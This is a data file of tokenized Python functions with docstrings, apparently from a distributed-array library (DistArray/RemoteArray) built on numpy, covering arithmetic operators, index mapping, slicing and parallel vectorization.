{"signature": "def expand_dims(self, axis):", "body": "ix = [slice(None)] * self.ndim<EOL>ix.insert(axis, np.newaxis)<EOL>ix = tuple(ix)<EOL>return self[ix]<EOL>", "docstring": "Insert a new axis, at a given position in the array shape\n        Args:\n          axis (int): Position (amongst axes) where new axis is to be inserted.", "id": "f4853:c0:m9"}
{"signature": "def __add__(self, other):", "body": "return np.add(self, other)<EOL>", "docstring": "x.__add__(y) <==> x+y", "id": "f4853:c0:m10"}
{"signature": "def __radd__(self, other):", "body": "return np.add(other, self)<EOL>", "docstring": "x.__radd__(y) <==> y+x", "id": "f4853:c0:m11"}
{"signature": "def __sub__(self, other):", "body": "return np.subtract(self, other)<EOL>", "docstring": "x.__sub__(y) <==> x-y", "id": "f4853:c0:m12"}
{"signature": "def __rsub__(self, other):", "body": "return np.subtract(other, self)<EOL>", "docstring": "x.__rsub__(y) <==> y-x", "id": "f4853:c0:m13"}
{"signature": "def __mul__(self, other):", "body": "return np.multiply(self, other)<EOL>", "docstring": "x.__mul__(y) <==> x*y", "id": "f4853:c0:m14"}
{"signature": "def __rmul__(self, other):", "body": "return np.multiply(other, self)<EOL>", "docstring": "x.__rmul__(y) <==> y*x", "id": "f4853:c0:m15"}
{"signature": "def __floordiv__(self, other):", "body": "return np.floor_divide(self, other)<EOL>", "docstring": "x.__floordiv__(y) <==> x//y", "id": "f4853:c0:m16"}
{"signature": "def __rfloordiv__(self, other):", "body": "return np.floor_divide(other, self)<EOL>", "docstring": "x.__rfloordiv__(y) <==> y//x", "id": "f4853:c0:m17"}
{"signature": "def __mod__(self, other):", "body": "return np.mod(self, other)<EOL>", "docstring": "x.__mod__(y) <==> x%y", "id": "f4853:c0:m18"}
{"signature": "def __rmod__(self, other):", "body": "return np.mod(other, self)<EOL>", "docstring": "x.__rmod__(y) <==> y%x", "id": "f4853:c0:m19"}
{"signature": "def __divmod__(self, other):", "body": "return (np.floor_divide(self - self % other, other), self % other)<EOL>", "docstring": "x.__divmod__(y) <==> divmod(x, y)", "id": "f4853:c0:m20"}
{"signature": "def __rdivmod__(self, other):", "body": "return (np.floor_divide(other - other % self, self), other % self)<EOL>", "docstring": "x.__rdivmod__(y) <==> divmod(y, x)", "id": "f4853:c0:m21"}
{"signature": "def __pow__(self, other, modulo=None):", "body": "<EOL>return np.power(self, other)<EOL>", "docstring": "x.__pow__(y[, z]) <==> pow(x, y[, z])", "id": "f4853:c0:m22"}
{"signature": "def __rpow__(self, other, modulo=None):", "body": "<EOL>return np.power(other, self)<EOL>", "docstring": "y.__rpow__(x[, z]) <==> pow(x, y[, z])", "id": "f4853:c0:m23"}
{"signature": "def __lshift__(self, other):", "body": "return np.left_shift(self, other)<EOL>", "docstring": "x.__lshift__(y) <==> x<<y", "id": "f4853:c0:m24"}
{"signature": "def __rlshift__(self, other):", "body": "return np.left_shift(other, self)<EOL>", "docstring": "x.__lshift__(y) <==> y<<x", "id": "f4853:c0:m25"}
{"signature": "def __rshift__(self, other):", "body": "return np.right_shift(self, other)<EOL>", "docstring": "x.__rshift__(y) <==> x>>y", "id": "f4853:c0:m26"}
{"signature": "def __rrshift__(self, other):", "body": "return np.right_shift(other, self)<EOL>", "docstring": "x.__rshift__(y) <==> y>>x", "id": "f4853:c0:m27"}
{"signature": "def __and__(self, other):", "body": "return np.bitwise_and(self, other)<EOL>", "docstring": "x.__and__(y) <==> x&y", "id": "f4853:c0:m28"}
{"signature": "def __rand__(self, other):", "body": "return np.bitwise_and(other, self)<EOL>", "docstring": "x.__rand__(y) <==> y&x", "id": "f4853:c0:m29"}
{"signature": "def __xor__(self, other):", "body": "return np.bitwise_xor(self, other)<EOL>", "docstring": "x.__xor__(y) <==> x^y", "id": "f4853:c0:m30"}
{"signature": "def __rxor__(self, other):", "body": "return np.bitwise_xor(other, self)<EOL>", "docstring": "x.__rxor__(y) <==> y^x", "id": "f4853:c0:m31"}
{"signature": "def __or__(self, other):", "body": "return np.bitwise_or(self, other)<EOL>", "docstring": "x.__or__(y) <==> x|y", "id": "f4853:c0:m32"}
{"signature": "def __ror__(self, other):", "body": "return np.bitwise_or(other, self)<EOL>", "docstring": "x.__ror__(y) <==> y|x", "id": "f4853:c0:m33"}
{"signature": "def __div__(self, other):", "body": "return np.divide(self, other)<EOL>", "docstring": "x.__div__(y) <==> x/y", "id": "f4853:c0:m34"}
{"signature": "def __rdiv__(self, other):", "body": "return np.divide(other, self)<EOL>", "docstring": "x.__rdiv__(y) <==> y/x", "id": "f4853:c0:m35"}
{"signature": "def __truediv__(self, other):", "body": "return np.true_divide(self, other)<EOL>", "docstring": "x.__truediv__(y) <==> x/y", "id": "f4853:c0:m36"}
{"signature": "def __rtruediv__(self, other):", "body": "return np.true_divide(other, self)<EOL>", "docstring": "x.__rtruediv__(y) <==> y/x", "id": "f4853:c0:m37"}
{"signature": "def __iadd__(self, other):", "body": "raise Error('<STR_LIT>')<EOL>", "docstring": "x.__add__(y) <==> x+=y", "id": "f4853:c0:m38"}
{"signature": "def __isub__(self, other):", "body": "raise Error('<STR_LIT>')<EOL>", "docstring": "x.__sub__(y) <==> x-=y", "id": "f4853:c0:m39"}
{"signature": "def __imul__(self, other):", "body": "raise Error('<STR_LIT>')<EOL>", "docstring": "x.__mul__(y) <==> x*=y", "id": "f4853:c0:m40"}
{"signature": "def __ifloordiv__(self, other):", "body": "raise Error('<STR_LIT>')<EOL>", "docstring": "x.__floordiv__(y) <==> x//=y", "id": "f4853:c0:m41"}
{"signature": "def __imod__(self, other):", "body": "raise Error('<STR_LIT>')<EOL>", "docstring": "x.__mod__(y) <==> x%=y", "id": "f4853:c0:m42"}
{"signature": "def __ipow__(self, other, modulo=None):", "body": "raise Error('<STR_LIT>')<EOL>", "docstring": "x.__pow__(y) <==> x**=y", "id": "f4853:c0:m43"}
{"signature": "def __ilshift__(self, other):", "body": "raise Error('<STR_LIT>')<EOL>", "docstring": "x.__lshift__(y) <==> x<<=y", "id": "f4853:c0:m44"}
{"signature": "def __irshift__(self, other):", "body": "raise Error('<STR_LIT>')<EOL>", "docstring": "x.__rshift__(y) <==> x>>=y", "id": "f4853:c0:m45"}
{"signature": "def __iand__(self, other):", "body": "raise Error('<STR_LIT>')<EOL>", "docstring": "x.__and__(y) <==> x&=y", "id": "f4853:c0:m46"}
{"signature": "def __ixor__(self, other):", "body": "raise Error('<STR_LIT>')<EOL>", "docstring": "x.__xor__(y) <==> x^=y", "id": "f4853:c0:m47"}
{"signature": "def __ior__(self, other):", "body": "raise Error('<STR_LIT>')<EOL>", "docstring": "x.__or__(y) <==> x|=y", "id": "f4853:c0:m48"}
{"signature": "def __idiv__(self, other):", "body": "raise Error('<STR_LIT>')<EOL>", "docstring": "x.__div__(y) <==> x/=y", "id": "f4853:c0:m49"}
{"signature": "def __itruediv__(self, other):", "body": "raise Error('<STR_LIT>')<EOL>", "docstring": "x.__truediv__(y) <==> x/=y", "id": "f4853:c0:m50"}
{"signature": "def __neg__(self):", "body": "return np.negative(self)<EOL>", "docstring": "x.__neg__() <==> -x", "id": "f4853:c0:m51"}
{"signature": "def __pos__(self):", "body": "return self<EOL>", "docstring": "x.__pos__() <==> +x", "id": "f4853:c0:m52"}
{"signature": "def __abs__(self):", "body": "return np.abs(self)<EOL>", "docstring": "x.__abs__() <==> abs(x)", "id": "f4853:c0:m53"}
{"signature": "def __invert__(self):", "body": "return np.invert(self)<EOL>", "docstring": "x.__invert__() <==> ~x", "id": "f4853:c0:m54"}
{"signature": "def dot(self, other):", "body": "return np.dot(self, other)<EOL>", "docstring": "Dot product of two arrays.\n        Refer to `numpy.dot` for full documentation.", "id": "f4853:c0:m55"}
{"signature": "def __init__(self, subarrays, axis=None):", "body": "from distob import engine<EOL>self._n = len(subarrays)  <EOL>if self._n < <NUM_LIT:2>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self._pref_local = True<EOL>self._obcache = None<EOL>self._obcache_current = False<EOL>if axis is None:<EOL><INDENT>self._distaxis = subarrays[<NUM_LIT:0>].ndim - <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>self._distaxis = axis<EOL><DEDENT>for i, ra in enumerate(subarrays):<EOL><INDENT>if not isinstance(ra, RemoteArray):<EOL><INDENT>if not isinstance(ra, Ref):<EOL><INDENT>ra = Ref(ra)<EOL><DEDENT>RemoteClass = engine.proxy_types[ra.type]<EOL>subarrays[i] = RemoteClass(ra)<EOL><DEDENT><DEDENT>descr0, subshape0, substrides0, typestr0 = subarrays[<NUM_LIT:0>]._ref.metadata<EOL>shape0 = list(subshape0)<EOL>shape0[self._distaxis] = None  <EOL>sublengths = [] <EOL>si = [<NUM_LIT:0>] <EOL>for i, ra in enumerate(subarrays):<EOL><INDENT>descr, subshape, substrides, typestr = ra._ref.metadata<EOL>if descr != descr0 or typestr != typestr0:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>sublengths.append(subshape[self._distaxis])<EOL>si.append(si[-<NUM_LIT:1>] + sublengths[-<NUM_LIT:1>])<EOL>shapei = list(subshape)<EOL>shapei[self._distaxis] = None<EOL>if shapei != shape0:<EOL><INDENT>raise ValueError('<STR_LIT>' +<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>self._sublengths = tuple(sublengths)<EOL>self._si = tuple(si)<EOL>itemsize = int(typestr0[<NUM_LIT:2>:])<EOL>shape = list(subshape0)<EOL>shape[self._distaxis] = sum(sublengths)<EOL>shape = tuple(shape)<EOL>strides = substrides<EOL>self.dtype = np.dtype(typestr)<EOL>self._subarrays = subarrays<EOL>self._placeholders = np.array(range(shape[self._distaxis]), dtype=int)<EOL>self._array_intf = {'<STR_LIT>': descr, '<STR_LIT>': shape, '<STR_LIT>': strides,<EOL>'<STR_LIT>': typestr, '<STR_LIT:version>': <NUM_LIT:3>}<EOL>location = ([ra._ref.id.engine for ra in subarrays], self._distaxis)<EOL>self.__engine_affinity__ = (location, np.prod(shape)*itemsize)<EOL>if all(ra._obcache_current for ra in self._subarrays):<EOL><INDENT>self._fetch()<EOL><DEDENT>", "docstring": "Make a DistArray from a list of existing remote numpy.ndarrays\n\n        Args:\n          subarrays (list of RemoteArrays, ndarrays or Refs to ndarrays):\n            the subarrays (possibly remote) which form the whole array when\n            concatenated. The subarrays must have the same dtype, and must\n            have the same shape excepting the distributed axis.\n          axis (int, optional): Position of the distributed axis, which is the \n            axis along which the subarrays will be concatenated. Default is \n            the last axis.", "id": "f4853:c1:m0"}
{"signature": "def _fetch(self):", "body": "if not self._obcache_current:<EOL><INDENT>from distob import engine<EOL>ax = self._distaxis<EOL>self._obcache = concatenate([ra._ob for ra in self._subarrays], ax)<EOL>for i in range(self._n):<EOL><INDENT>ix = [slice(None)] * self.ndim<EOL>ix[ax] = slice(self._si[i], self._si[i+<NUM_LIT:1>])<EOL>self._subarrays[i]._obcache = self._obcache[tuple(ix)]<EOL><DEDENT>self._obcache_current = True<EOL>self.__engine_affinity__ = (<EOL>engine.eid, self.__engine_affinity__[<NUM_LIT:1>])<EOL><DEDENT>", "docstring": "forces update of a local cached copy of the real object\n        (regardless of the preference setting self.cache)", "id": "f4853:c1:m3"}
{"signature": "def __ob(self):", "body": "self._fetch()<EOL>return self._obcache<EOL>", "docstring": "return a copy of the real object", "id": "f4853:c1:m4"}
{"signature": "def __array_prepare__(self, out_arr, context=None):", "body": "<EOL>msg = (u'<STR_LIT>' +<EOL>'<STR_LIT>' +<EOL>'<STR_LIT>' +<EOL>'<STR_LIT>' +<EOL>'<STR_LIT>' +<EOL>'<STR_LIT>' +<EOL>'<STR_LIT>' % context[<NUM_LIT:0>].__name__)<EOL>_brief_warning(msg, stacklevel=<NUM_LIT:3>)<EOL>return out_arr<EOL>", "docstring": "Fetch underlying data to user's computer and apply ufunc locally.\n        Only used as a fallback, for current numpy versions which lack \n        support for the future __numpy_ufunc__ mechanism.", "id": "f4853:c1:m11"}
{"signature": "def _tosub(self, ix):", "body": "N = self.shape[self._distaxis]<EOL>if ix >= N or ix < -N:<EOL><INDENT>raise IndexError(<EOL>'<STR_LIT>',<EOL>ix, self._distaxis, N)<EOL><DEDENT>if ix < <NUM_LIT:0>:<EOL><INDENT>ix += N<EOL><DEDENT>for s in range(<NUM_LIT:0>, self._n):<EOL><INDENT>if self._si[s + <NUM_LIT:1>] - <NUM_LIT:1> >= ix:<EOL><INDENT>break<EOL><DEDENT><DEDENT>m = ix - self._si[s]<EOL>return s, m<EOL>", "docstring": "Given an integer index ix on the distributed axis, returns the pair\n        (s, m) where s is the relevant subarray and m is the subindex into s.\n        For example if the last axis is distributed,\n          self[...,ix] == self._subarrays[s][...,m]", "id": "f4853:c1:m13"}
{"signature": "def _tosubs(self, ixlist):", "body": "n = len(ixlist)<EOL>N = self.shape[self._distaxis]<EOL>ss = []<EOL>ms = []<EOL>if n == <NUM_LIT:0>:<EOL><INDENT>return ss, ms<EOL><DEDENT>j = <NUM_LIT:0> <EOL>ix = ixlist[j]<EOL>if ix >= N or ix < -N:<EOL><INDENT>raise IndexError(<EOL>'<STR_LIT>',<EOL>ix, self._distaxis, N)<EOL><DEDENT>if ix < <NUM_LIT:0>:<EOL><INDENT>ix += N<EOL><DEDENT>while j < n:<EOL><INDENT>for s in range(<NUM_LIT:0>, self._n):<EOL><INDENT>low = self._si[s]<EOL>high = self._si[s + <NUM_LIT:1>]<EOL>if ix >= low and ix < high:<EOL><INDENT>ss.append(s)<EOL>msj = [ix - low]<EOL>j += <NUM_LIT:1><EOL>while j < n:<EOL><INDENT>ix = ixlist[j]<EOL>if ix >= N or ix < -N:<EOL><INDENT>raise IndexError(<EOL>'<STR_LIT>',<EOL>ix, self._distaxis, N)<EOL><DEDENT>if ix < <NUM_LIT:0>:<EOL><INDENT>ix += N<EOL><DEDENT>if ix < low or ix >= high:<EOL><INDENT>break<EOL><DEDENT>msj.append(ix - low)<EOL>j += <NUM_LIT:1><EOL><DEDENT>ms.append(msj)<EOL><DEDENT>if ix < low:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>return ss, ms<EOL>", "docstring": "Maps a list of integer indices of the DistArray to subarray indices.\n        ixlist can contain repeated indices and does not need to be sorted.\n        Returns pair (ss, ms) where ss is a list of subarrays and ms is a\n        list of lists of subindices m (one list for each subarray s in ss).", "id": "f4853:c1:m14"}
{"signature": "def _tosubsj(self, ixlist):", "body": "n = len(ixlist)<EOL>N = self.shape[self._distaxis]<EOL>ss = []<EOL>ms = []<EOL>js = []<EOL>if n == <NUM_LIT:0>:<EOL><INDENT>return ss, ms, js<EOL><DEDENT>j = <NUM_LIT:0> <EOL>ix = ixlist[j]<EOL>if ix >= N or ix < -N:<EOL><INDENT>raise IndexError(<EOL>'<STR_LIT>',<EOL>ix, self._distaxis, N)<EOL><DEDENT>if ix < <NUM_LIT:0>:<EOL><INDENT>ix += N<EOL><DEDENT>while j < n:<EOL><INDENT>for s in range(<NUM_LIT:0>, self._n):<EOL><INDENT>low = self._si[s]<EOL>high = self._si[s + <NUM_LIT:1>]<EOL>if ix >= low and ix < high:<EOL><INDENT>ss.append(s)<EOL>msj = [ix - low]<EOL>jsj = [j]<EOL>j += <NUM_LIT:1><EOL>while j < n:<EOL><INDENT>ix = ixlist[j]<EOL>if ix >= N or ix < -N:<EOL><INDENT>raise IndexError(<EOL>'<STR_LIT>',<EOL>ix, self._distaxis, N)<EOL><DEDENT>if ix < <NUM_LIT:0>:<EOL><INDENT>ix += N<EOL><DEDENT>if ix < low or ix >= high:<EOL><INDENT>break<EOL><DEDENT>msj.append(ix - low)<EOL>jsj.append(j)<EOL>j += <NUM_LIT:1><EOL><DEDENT>ms.append(msj)<EOL>js.append(jsj)<EOL><DEDENT>if ix < low:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>return ss, ms, js<EOL>", "docstring": "Like _tosubs(), maps a list of integer indices of the DistArray to\n        subarray indices, but also returns the positions processed in the\n        original index list.\n        ixlist can contain repeated indices and does not need to be sorted.\n        Returns tuple (ss, ms, js) where ss is a list of subarrays, ms is a\n        list of lists of subindices m (one list for each subarray s in ss), and\n        js is a list of lists of positions in ixlist that were processed (one\n        list for each subarray s in ss).", "id": "f4853:c1:m15"}
{"signature": "def _tosubslices(self, sl):", "body": "N = self.shape[self._distaxis]<EOL>start, stop, step = sl.start, sl.stop, sl.step<EOL>if step is None:<EOL><INDENT>step = <NUM_LIT:1><EOL><DEDENT>ss = []<EOL>ms = []<EOL>if step > <NUM_LIT:0>:<EOL><INDENT>if start is None:<EOL><INDENT>start = <NUM_LIT:0><EOL><DEDENT>if stop is None:<EOL><INDENT>stop = N<EOL><DEDENT>subs = range(<NUM_LIT:0>, self._n)<EOL>for s in subs:<EOL><INDENT>low = self._si[s]<EOL>high = self._si[s + <NUM_LIT:1>]<EOL>first = low + ((low - start) % step)<EOL>last = high + ((high - start) % step)<EOL>if start < high and stop > low and first < high:<EOL><INDENT>ss.append(s)<EOL>substart = max(first, start) - low<EOL>substop = min(last, stop) - low<EOL>ms.append(slice(substart, substop, step))<EOL><DEDENT><DEDENT><DEDENT>elif step < <NUM_LIT:0>:<EOL><INDENT>if start is None:<EOL><INDENT>start = N - <NUM_LIT:1><EOL><DEDENT>if stop is None:<EOL><INDENT>stop = -<NUM_LIT:1><EOL><DEDENT>subs = range(self._n - <NUM_LIT:1>, -<NUM_LIT:1>, -<NUM_LIT:1>)<EOL>for s in subs:<EOL><INDENT>low = self._si[s]<EOL>high = self._si[s + <NUM_LIT:1>]<EOL>first = high + step + ((high - start) % step)<EOL>last = low + step + ((low - start) % step)<EOL>if start >= low and stop < high and first >= low:<EOL><INDENT>ss.append(s)<EOL>substart = min(first, start) - low<EOL>substop = max(last + step, stop) - low<EOL>if substop < <NUM_LIT:0>:<EOL><INDENT>substop = None<EOL><DEDENT>ms.append(slice(substart, substop, step))<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return ss, ms<EOL>", "docstring": "Maps a slice object for whole array to slice objects for subarrays.\n        Returns pair (ss, ms) where ss is a list of subarrays and ms is a list\n        giving the slice object that should be applied to each subarray.", "id": "f4853:c1:m16"}
{"signature": "def __getitem__(self, index):", "body": "<EOL>distaxis = self._distaxis<EOL>if isinstance(index, np.ndarray) and index.dtype.type is np.bool_:<EOL><INDENT>raise Error('<STR_LIT>')<EOL><DEDENT>if not isinstance(index, Sequence):<EOL><INDENT>index = (index,) + (slice(None),)*(self.ndim - <NUM_LIT:1>)<EOL><DEDENT>ix_types = tuple(type(x) for x in index)<EOL>if (np.ndarray in ix_types or<EOL>(not isinstance(index, _TupleType) and <EOL>_NewaxisType not in ix_types and <EOL>_EllipsisType not in ix_types and<EOL>_SliceType not in ix_types) or<EOL>any(issubclass(T, Sequence) for T in ix_types)):<EOL><INDENT>basic_slicing = False<EOL><DEDENT>else:<EOL><INDENT>basic_slicing = True<EOL><DEDENT>while _EllipsisType in ix_types:<EOL><INDENT>pos = ix_types.index(_EllipsisType)<EOL>m = (self.ndim + ix_types.count(_NewaxisType) - len(index) + <NUM_LIT:1>)<EOL>index = index[:pos] + (slice(None),)*m + index[(pos+<NUM_LIT:1>):]<EOL>ix_types = tuple(type(x) for x in index)<EOL><DEDENT>if _NewaxisType in ix_types:<EOL><INDENT>new_distaxis = distaxis<EOL>subix = [slice(None)] * self.ndim<EOL>while _NewaxisType in ix_types:<EOL><INDENT>pos = ix_types.index(type(np.newaxis))<EOL>index = index[:pos] + (slice(None),) + index[(pos+<NUM_LIT:1>):]<EOL>ix_types = tuple(type(x) for x in index)<EOL>if pos <= distaxis:<EOL><INDENT>subix[pos] = np.newaxis<EOL>new_distaxis += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>subix[pos - <NUM_LIT:1>] = np.newaxis<EOL><DEDENT><DEDENT>new_subarrays = [ra[tuple(subix)] for ra in self._subarrays]<EOL>return DistArray(new_subarrays, new_distaxis)[index]<EOL><DEDENT>index = tuple(index) + (slice(None),)*(self.ndim - len(index))<EOL>if len(index) > self.ndim:<EOL><INDENT>raise IndexError('<STR_LIT>')<EOL><DEDENT>if basic_slicing:<EOL><INDENT>distix = index[distaxis]<EOL>if isinstance(distix, numbers.Number):<EOL><INDENT>s, i = self._tosub(distix)<EOL>subix = index[<NUM_LIT:0>:distaxis] + (i,) + index[(distaxis+<NUM_LIT:1>):]<EOL>return self._subarrays[s][subix]<EOL><DEDENT>else:<EOL><INDENT>result_ras = []<EOL>ss, ms = self._tosubslices(distix)<EOL>for s, m in zip(ss, ms):<EOL><INDENT>subix = index[<NUM_LIT:0>:distaxis] + (m,) + index[(distaxis+<NUM_LIT:1>):]<EOL>result_ras.append(self._subarrays[s][subix])<EOL><DEDENT>axes_removed = sum(<NUM_LIT:1> for x in index[:distaxis] if isinstance(<EOL>x, numbers.Integral))<EOL>new_distaxis = distaxis - axes_removed<EOL><DEDENT><DEDENT>else:<EOL><INDENT>is_fancy = tuple(not isinstance(x, _SliceType) for x in index)<EOL>fancy_pos = tuple(i for i in range(len(index)) if is_fancy[i])<EOL>slice_pos = tuple(i for i in range(len(index)) if not is_fancy[i])<EOL>contiguous = (fancy_pos[-<NUM_LIT:1>] - fancy_pos[<NUM_LIT:0>] == len(fancy_pos) - <NUM_LIT:1>)<EOL>index = list(index)<EOL>ix_arrays = [index[j] for j in fancy_pos]<EOL>ix_arrays = np.broadcast_arrays(*ix_arrays)<EOL>for j in range(len(fancy_pos)):<EOL><INDENT>if ix_arrays[j].shape is ():<EOL><INDENT>ix_arrays[j] = np.expand_dims(ix_arrays[j], <NUM_LIT:0>)<EOL><DEDENT>index[fancy_pos[j]] = ix_arrays[j]<EOL><DEDENT>index = tuple(index)<EOL>idim = index[fancy_pos[<NUM_LIT:0>]].ndim <EOL>assert(idim > <NUM_LIT:0>)<EOL>distix = index[distaxis]<EOL>otherix = index[<NUM_LIT:0>:distaxis] + (slice(None),) + index[(distaxis+<NUM_LIT:1>):]<EOL>if not is_fancy[distaxis]:<EOL><INDENT>result_ras = []<EOL>ss, ms = self._tosubslices(distix)<EOL>for s, m in zip(ss, ms):<EOL><INDENT>subix = index[<NUM_LIT:0>:distaxis] + (m,) + index[(distaxis+<NUM_LIT:1>):]<EOL>result_ras.append(self._subarrays[s][subix])<EOL><DEDENT>if contiguous:<EOL><INDENT>if fancy_pos[<NUM_LIT:0>] > distaxis:<EOL><INDENT>new_distaxis = distaxis<EOL><DEDENT>else:<EOL><INDENT>new_distaxis = distaxis - len(fancy_pos) + idim<EOL><DEDENT><DEDENT>else:<EOL><INDENT>earlier_fancy = len([i for i in fancy_pos if i < distaxis])<EOL>new_distaxis = distaxis - earlier_fancy + idim<EOL><DEDENT><DEDENT>else:<EOL><INDENT>nonconstant_ix_axes = []<EOL>for j in range(idim):<EOL><INDENT>n = distix.shape[j]<EOL>if n > <NUM_LIT:1>:<EOL><INDENT>partix = np.split(distix, n, axis=j)<EOL>if not all(np.array_equal(<EOL>partix[<NUM_LIT:0>], partix[i]) for i in range(<NUM_LIT:1>, n)):<EOL><INDENT>nonconstant_ix_axes.append(j)<EOL><DEDENT><DEDENT><DEDENT>if len(nonconstant_ix_axes) <= <NUM_LIT:1>:<EOL><INDENT>if len(nonconstant_ix_axes) is <NUM_LIT:0>:<EOL><INDENT>all_same_engine = True<EOL>iax = idim - <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>all_same_engine = False<EOL>iax = nonconstant_ix_axes[<NUM_LIT:0>]<EOL><DEDENT>iix = [<NUM_LIT:0>] * idim<EOL>iix[iax] = slice(None)<EOL>iix = tuple(iix)<EOL>ixlist = self._placeholders[distix[iix]]<EOL>if contiguous:<EOL><INDENT>new_distaxis = fancy_pos[<NUM_LIT:0>] + iax<EOL><DEDENT>else:<EOL><INDENT>new_distaxis = <NUM_LIT:0> + iax<EOL><DEDENT>result_ras = []<EOL>ss, ms, js = self._tosubsj(ixlist)<EOL>shp = [<NUM_LIT:1>] * idim<EOL>for s, m, jlist in zip(ss, ms, js):<EOL><INDENT>shp[iax] = len(m)<EOL>m = np.array(m).reshape(shp) <EOL>sl = [slice(None)] * idim<EOL>sl[iax] = jlist<EOL>sl = tuple(sl)<EOL>subix = list(index)<EOL>for i in range(len(subix)):<EOL><INDENT>if isinstance(subix[i], np.ndarray):<EOL><INDENT>if i == distaxis:<EOL><INDENT>subix[i] = m<EOL><DEDENT>else:<EOL><INDENT>subix[i] = subix[i][sl]<EOL><DEDENT><DEDENT><DEDENT>subix = tuple(subix)<EOL>result_ras.append(self._subarrays[s][subix])<EOL><DEDENT>if all_same_engine:<EOL><INDENT>result_ras = [expand_dims(r, new_distaxis) for<EOL>r in result_ras]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>msg = (u'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>warnings.warn(msg, RuntimeWarning)<EOL>return self._ob[index]<EOL><DEDENT><DEDENT><DEDENT>if len(result_ras) == <NUM_LIT:0>:<EOL><INDENT>subix = index[<NUM_LIT:0>:distaxis] + (slice(<NUM_LIT:0>),) + index[(distaxis+<NUM_LIT:1>):]<EOL>return self._subarrays[<NUM_LIT:0>][subix]<EOL><DEDENT>if all(not isinstance(ra, RemoteArray) or ra._id.engine == -<NUM_LIT:1> for<EOL>ra in result_ras):<EOL><INDENT>return gather(concatenate(result_ras, axis=new_distaxis))<EOL><DEDENT>engines = [ra._id.engine if isinstance(ra, RemoteArray) else -<NUM_LIT:1> for<EOL>ra in result_ras]<EOL>if all(e == engines[<NUM_LIT:0>] for e in engines):<EOL><INDENT>return concatenate(result_ras, axis=new_distaxis)<EOL><DEDENT>else:<EOL><INDENT>return DistArray(result_ras, new_distaxis)<EOL><DEDENT>", "docstring": "Slice the distributed array", "id": "f4853:c1:m17"}
{"signature": "def __setitem__(self, index, value):", "body": "raise Error(u'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>", "docstring": "Assign to the sliced item", "id": "f4853:c1:m18"}
{"signature": "def transpose(self, *axes):", "body": "if axes is ():<EOL><INDENT>axes = None<EOL><DEDENT>return transpose(self, axes)<EOL>", "docstring": "Returns a view of the array with axes transposed.\n\n        For a 1-D array, this has no effect.\n        For a 2-D array, this is the usual matrix transpose.\n        For an n-D array, if axes are given, their order indicates how the\n        axes are permuted\n\n        Args:\n          a (array_like): Input array.\n          axes (tuple of int, optional): By default, reverse the dimensions, \n            otherwise permute the axes according to values given.", "id": "f4853:c1:m19"}
{"signature": "@staticmethod<EOL><INDENT>def _valid_distaxis(shapes, ax):<DEDENT>", "body": "compare_shapes = np.vstack(shapes)<EOL>if ax < compare_shapes.shape[<NUM_LIT:1>]:<EOL><INDENT>compare_shapes[:, ax] = -<NUM_LIT:1><EOL><DEDENT>return np.count_nonzero(compare_shapes - compare_shapes[<NUM_LIT:0>]) == <NUM_LIT:0><EOL>", "docstring": "`ax` is a valid candidate for a distributed axis if the given\n        subarray shapes are all the same when ignoring axis `ax`", "id": "f4853:c1:m20"}
{"signature": "@classmethod<EOL><INDENT>def __distob_vectorize__(cls, f):<DEDENT>", "body": "def vf(self, *args, **kwargs):<EOL><INDENT>kwargs = kwargs.copy()<EOL>kwargs['<STR_LIT>'] = False<EOL>kwargs['<STR_LIT>'] = False<EOL>ars = [call(f, ra, *args, **kwargs) for ra in self._subarrays]<EOL>results = [convert_result(ar) for ar in ars]<EOL>if all(isinstance(r, RemoteArray) and<EOL>r.ndim == results[<NUM_LIT:0>].ndim for r in results):<EOL><INDENT>out_shapes = [ra.shape for ra in results]<EOL>new_distaxis = self._new_distaxis(out_shapes)<EOL>if new_distaxis is None:<EOL><INDENT>return results <EOL><DEDENT>if new_distaxis == results[<NUM_LIT:0>].ndim:<EOL><INDENT>results = [r.expand_dims(new_distaxis) for r in results]<EOL><DEDENT>return DistArray(results, new_distaxis)<EOL><DEDENT>elif all(isinstance(r, numbers.Number) for r in results):<EOL><INDENT>return np.array(results)<EOL><DEDENT>else:<EOL><INDENT>return results  <EOL><DEDENT><DEDENT>if hasattr(f, '<STR_LIT>'):<EOL><INDENT>vf.__name__ = '<STR_LIT:v>' + f.__name__<EOL>f_str = f.__name__ + '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>f_str = '<STR_LIT>'<EOL><DEDENT>doc = u\"\"\"<STR_LIT>\"\"\" % (f_str, f_str)<EOL>if hasattr(f, '<STR_LIT>') and f.__doc__ is not None:<EOL><INDENT>doc = doc.rstrip() + ('<STR_LIT>' + f.__doc__)<EOL><DEDENT>vf.__doc__ = doc<EOL>return vf<EOL>", "docstring": "Upgrades a normal function f to act on a DistArray in parallel\n\n        Args:\n          f (callable): ordinary function which expects as its first \n            argument an array (of the same shape as our subarrays)\n\n        Returns:\n          vf (callable): new function that takes a DistArray as its first\n            argument. ``vf(distarray)`` will do the computation ``f(subarray)``\n            on each subarray in parallel and if possible will return another \n            DistArray. (otherwise will return a list with the result for each \n            subarray).", "id": "f4853:c1:m22"}
{"signature": "def expand_dims(self, axis):", "body": "if axis == -<NUM_LIT:1>:<EOL><INDENT>axis = self.ndim<EOL><DEDENT>if axis <= self._distaxis:<EOL><INDENT>subaxis = axis<EOL>new_distaxis = self._distaxis + <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>subaxis = axis - <NUM_LIT:1><EOL>new_distaxis = self._distaxis<EOL><DEDENT>new_subarrays = [expand_dims(ra, subaxis) for ra in self._subarrays]<EOL>return DistArray(new_subarrays, new_distaxis)<EOL>", "docstring": "Insert a new axis, at a given position in the array shape\n        Args:\n          axis (int): Position (amongst axes) where new axis is to be inserted.", "id": "f4853:c1:m24"}
